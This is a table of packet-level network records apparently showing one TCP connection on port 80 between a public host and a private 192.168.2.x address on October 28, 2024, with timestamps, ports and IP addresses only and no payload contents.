Oct 28, 2024 19:46:21.794295073 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794308901 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.794331074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794373035 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.794534922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794569016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794604063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794615030 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.794637918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794677973 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.794720888 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794775963 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794791937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794817924 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.794903040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794919968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.794945955 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.795109987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.795125961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.795144081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.795154095 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.795159101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.795175076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.795187950 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.795222044 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.795250893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.795267105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.795283079 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.795308113 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.795679092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.795695066 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.795716047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.795722008 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.795752048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.795754910 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.795816898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.795833111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.795857906 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.795979977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796003103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796020031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796027899 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.796036005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796058893 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.796159029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796175003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796200991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796201944 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.796241999 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.796444893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796504021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796519041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796555996 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.796634912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796648979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796667099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796674013 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.796683073 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796710014 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.796768904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796812057 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.796890020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796905994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796921968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796936989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796945095 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.796953917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.796986103 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.797377110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.797406912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.797421932 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.797424078 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.797461033 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.797560930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.797575951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.797593117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.797610044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.797615051 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.797652960 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.797678947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.797703981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.797749043 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.797799110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.797872066 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.797887087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.797903061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.797918081 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.797944069 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.799562931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.799612999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.799628973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.799664021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.799721956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.799767017 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.871422052 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.876955986 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.876996040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877032995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877052069 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.877094030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877129078 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877142906 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.877218008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877250910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877264023 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.877285957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877332926 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.877336025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877371073 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877414942 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.877501965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877536058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877568960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877580881 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.877604008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877649069 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.877669096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877847910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877881050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877903938 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.877916098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877949953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.877968073 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.877984047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878020048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878026009 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.878185987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878218889 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878232002 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.878252029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878288031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878304005 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.878323078 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878357887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878371954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.878391981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878426075 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878437042 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.878460884 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878509998 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.878626108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878660917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878695011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878707886 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.878774881 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878808022 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878820896 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.878856897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878892899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.878906965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.879165888 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879215956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879216909 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.879270077 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879304886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879318953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.879367113 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879401922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879414082 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.879437923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879472017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879487991 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.879508972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879559040 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.879592896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879626989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879659891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879669905 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.879724026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879770041 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.879789114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879822969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879877090 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.879913092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879945993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879981041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.879988909 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.880136967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.880170107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.880187988 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.880204916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.880249977 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.880333900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.880367994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.880400896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.880422115 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.880436897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.880470037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.880482912 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.880506992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.880541086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.880549908 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.880623102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.880656958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.880666971 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.880734921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.880768061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.880779982 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.929136038 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.983906031 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.989650011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.989797115 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.989850998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.989856958 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.989887953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.989922047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.989943981 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.989958048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.989994049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.990005016 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.990029097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.990063906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.990076065 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.990114927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.990149975 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.990163088 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.990202904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.990236998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.990248919 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.990272999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.990307093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.990319014 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.990456104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.990489960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.990506887 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.990525007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.990560055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.990567923 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.990890026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.990936995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.990938902 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.990988970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991023064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991034031 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.991058111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991092920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991111040 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.991127968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991162062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991177082 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.991197109 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991250038 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.991251945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991288900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991343975 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991347075 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.991378069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991425991 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.991436005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991472006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991504908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991514921 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.991559029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991592884 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991605043 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.991627932 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991661072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991672039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.991695881 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991729021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991748095 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.991764069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991812944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991812944 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.991847992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991882086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991899967 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.991915941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991950989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.991962910 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.991988897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.992032051 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.992280960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.992316008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.992348909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.992366076 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.992384911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.992433071 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.992590904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.992625952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.992659092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.992672920 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.992693901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.992728949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.992737055 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.992933035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.992965937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.992975950 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.993000984 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993035078 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993042946 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.993069887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993103027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993135929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993138075 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.993170977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993182898 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.993207932 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993244886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993253946 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.993442059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993475914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993490934 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.993510962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993546009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993558884 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.993597984 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993642092 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.993649960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993686914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993720055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993732929 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.993753910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993788004 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993798971 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.993823051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993858099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993871927 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.993907928 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993941069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.993949890 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.993976116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994009972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994020939 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.994231939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994270086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994286060 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.994389057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994421959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994443893 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.994472980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994508028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994523048 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.994541883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994575977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994592905 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.994610071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994643927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994661093 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.994678020 CET	80	49726	166.1.160.211	192.168.2.16
